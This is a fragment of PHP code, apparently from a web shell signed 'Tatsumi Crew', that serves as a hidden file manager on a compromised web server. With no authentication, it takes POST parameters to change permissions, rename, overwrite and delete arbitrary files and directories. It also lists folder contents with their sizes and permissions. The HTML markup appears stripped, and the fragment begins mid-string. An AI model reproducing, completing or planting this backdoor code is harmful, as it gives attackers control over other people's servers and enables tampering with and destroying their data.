'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo 'Success !
'; }else{ echo 'Denied !
'; } } echo '
Permission :
'; } elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo 'Success !
'; }else{ echo 'Denied !
'; } $_POST['name'] = $_POST['newname']; } echo '
New Name :
'; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo 'Success !
'; }else{ echo 'Denied !
'; } fclose($fp); } echo '

'; } echo '
'; }else{ echo '
'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo 'Success !
'; }else{ echo 'Denied !
'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo 'Success
'; }else{ echo 'Denied
'; } } } echo ''; $scandir = scandir($path); echo ''; foreach($scandir as $dir){ if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue; echo ''; } echo ''; foreach($scandir as $file){ if(!is_file($path.'/'.$file)) continue; $size = filesize($path.'/'.$file)/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo ''; } echo '
Name
Size
Permission
Action
'.$dir.'
--
'; if(is_writable($path.'/'.$dir)) echo ''; elseif(!is_readable($path.'/'.$dir)) echo ''; echo perms($path.'/'.$dir); if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo ''; echo '
'.$file.'
'.$size.'
'; if(is_writable($path.'/'.$file)) echo ''; elseif(!is_readable($path.'/'.$file)) echo ''; echo perms($path.'/'.$file); if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo ''; echo '
'; } echo '




Copyright © '.date("Y").' Tatsumi Crew
'; ?>